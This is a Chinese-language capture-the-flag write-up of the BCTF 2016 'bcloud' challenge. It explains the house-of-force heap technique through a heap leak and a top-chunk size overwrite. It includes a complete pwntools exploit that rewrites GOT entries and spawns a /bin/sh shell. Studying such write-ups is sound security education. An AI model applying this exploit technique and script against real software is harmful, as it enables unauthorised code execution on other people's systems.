house of force —— BCTF 2016-bcloud

这个技术就是覆盖top chunk的size,控制下下次分配的返回内存,从而进行任意写

保护,可以写got表

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)

功能(show 是没用的)

1
2
3
4
5
6
1.New note
2.Show note
3.Edit note
4.Delete note
5.Syn
6.Quit

漏洞1:信息泄露

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
unsigned int sub_80487A1()
{
char name; // [esp+1Ch] [ebp-5Ch]
char *v2; // [esp+5Ch] [ebp-1Ch]
unsigned int v3; // [esp+6Ch] [ebp-Ch]

v3 = __readgsdword(0x14u);
memset(&name, 0, 0x50u);
puts("Input your name:");
sub_804868D((int)&name, 0x40, 10);
v2 = (char *)malloc(0x40u);
p_name = (int)v2;
strcpy(v2, &name); // 假如我们name是40长度,name后面的v2也会复制到v2,那就输出了堆上面的地址
vuloutput((int)v2);
return __readgsdword(0x14u) ^ v3;
}

利用

1
2
3
4
5
6
p.recvuntil("Input your name:\n")
p.sendline("A" * 0x40)
p.recvuntil("A" * 0x40)
leak = p.recv(4)
heap_addr = u32(leak)
print "heap_addr: " + hex(heap_addr)

漏洞2:堆溢出

这也是利用strcpy的赋值到\x00才停止

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
unsigned int sub_804884E()
{
char org; // [esp+1Ch] [ebp-9Ch]
char *v2; // [esp+5Ch] [ebp-5Ch]
int host; // [esp+60h] [ebp-58h]
char *v4; // [esp+A4h] [ebp-14h]
unsigned int v5; // [esp+ACh] [ebp-Ch]

v5 = __readgsdword(0x14u);
memset(&org, 0, 0x90u);
puts("Org:");
getInput((int)&org, 0x40, 10);
puts("Host:");
getInput((int)&host, 0x40, 10);
v4 = (char *)malloc(0x40u);
v2 = (char *)malloc(0x40u);
dword_804B0C8 = (int)v2;
dword_804B148 = (int)v4;
strcpy(v4, (const char *)&host);
strcpy(v2, &org);
puts("OKay! Enjoy:)");
return __readgsdword(0x14u) ^ v5;
}

利用

1
2
3
4
p.recvuntil("Org:\n")
p.send("B" * 0x40)
p.recvuntil("Host:\n")
p.send("\xff\xff\xff\xff")

这就把top chunk size覆盖成0xffffffff了

那接下来我们申请的大小要怎么搞呢,先看看原理

将top chunk的size改为0xffffffffffffffff,这样我们malloc很大的值也不用再去mmap新的内存了
之后申请一个一个负数大小的,所以top chunk指针会减去这么一个值,但是第一次申请的时候malloc还是返回原理top chunk的位置
那么当我们再次申请的时候,top chunk就返回了我们想要的地址了
那个负数是怎么得来的呢?
因为我们malloc之后,top指针会加上我们的size,所以我们只需要malloc我们想要的地址跟top指针的差别再减0x10的头部就行了(64位的话)【即目标地址-topchunk指针-0x10】,那么32位就减8

假如我们要控制0x0804B0A0,储存len的地方

1
2
malloc_size =  "-" +  str(-(noteLenArr - (first_heap_addr + 0xd0) - 0x8))
newNote(malloc_size, "")

结果如下

那接下来我们就覆盖note指针,那就可以任意地址写,我们将free覆盖成printf的got
之后我们利用free函数调用,泄露atoi函数,再计算出system函数地址,最后利用system函数地址覆盖atoi的got表,再发送/bin/sh\x00即可

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Date : 2018-08-13 23:29:22
# @Author : giantbranch (giantbranch@gmail.com)
# @Link : http://www.giantbranch.cn/
# @tags :

from pwn import *
context.log_level = "debug"
p = process("./bcloud")
# p = process(['./bcloud'], env={"LD_PRELOAD":"./libc-2.19.so"})
elf = ELF('./bcloud')
libc = ELF('./libc.so.6')


def getpid():
print proc.pidof(p)[0]
pause()


def newNote(length, content):
p.recvuntil("option--->>\n")
p.sendline("1")
p.recvuntil("Input the length of the note content:\n")
p.sendline(str(length))
p.recvuntil("Input the content:\n")
p.send(content)

def editNote(id, content):
p.recvuntil("option--->>\n")
p.sendline("3")
p.recvuntil("Input the id:\n")
p.sendline(str(id))
p.recvuntil("Input the new content:\n")
p.sendline(content)

noteLenArr = 0x0804B0A0

got_atoi = elf.got['atoi']
got_free = elf.got['free']
# because did't call in the program
plt_printf = elf.plt['printf']

# leak
p.recvuntil("Input your name:\n")
p.send("A" * 0x3c + "QQQQ")
p.recvuntil("QQQQ")
leak = p.recv(4)
first_heap_addr = u32(leak)
print "first_heap_addr: " + hex(first_heap_addr)

# overwrite top chunk size
p.recvuntil("Org:\n")
p.send("B" * 0x40)
p.recvuntil("Host:\n")
p.sendline("\xff\xff\xff\xff")

#######
# change top chunk point
#######
# first_heap_addr + 0xd0 is top chunk point
# malloc_addr = top chunk point + malloc_size
# 0x8 size of header
malloc_size = "-" + str(-(noteLenArr - (first_heap_addr + 0xd0) - 0x8))
print "mysize: " + malloc_size
# size = (0xffffffff - first_heap_addr - 224) + noteLenArr - 4
# log.info("Size: " + hex(size))
# size = (0xffffffff ^ size) + 1
# print "last size: " + str(size)
newNote(malloc_size, "")

# write notearrary
payload = p32(4)
payload += p32(4)
payload += p32(4) * 29
payload += p32(got_free)
payload += p32(got_atoi)
payload += p32(got_atoi)
newNote(len(payload), payload)

# change got_free to plt_printf
editNote(1, p32(plt_printf))

# get atoi's address
p.recvuntil("option--->>\n")
p.sendline("4")
p.recvuntil("Input the id:\n")
p.sendline("2")
atoi_addr = u32(p.recv(4))
print "atoi_addr: " + hex(atoi_addr)

# overwrite atoi with system
print "\ncalculating system() addr"
system_addr = atoi_addr - (libc.symbols['atoi'] - libc.symbols['system'])
print "system_addr = " + hex(system_addr)
pause()

editNote(3, p32(system_addr))

p.sendline("/bin/sh\x00")

p.interactive()

reference

http://uaf.io/exploitation/2016/03/20/BCTF-bcloud.html

打赏专区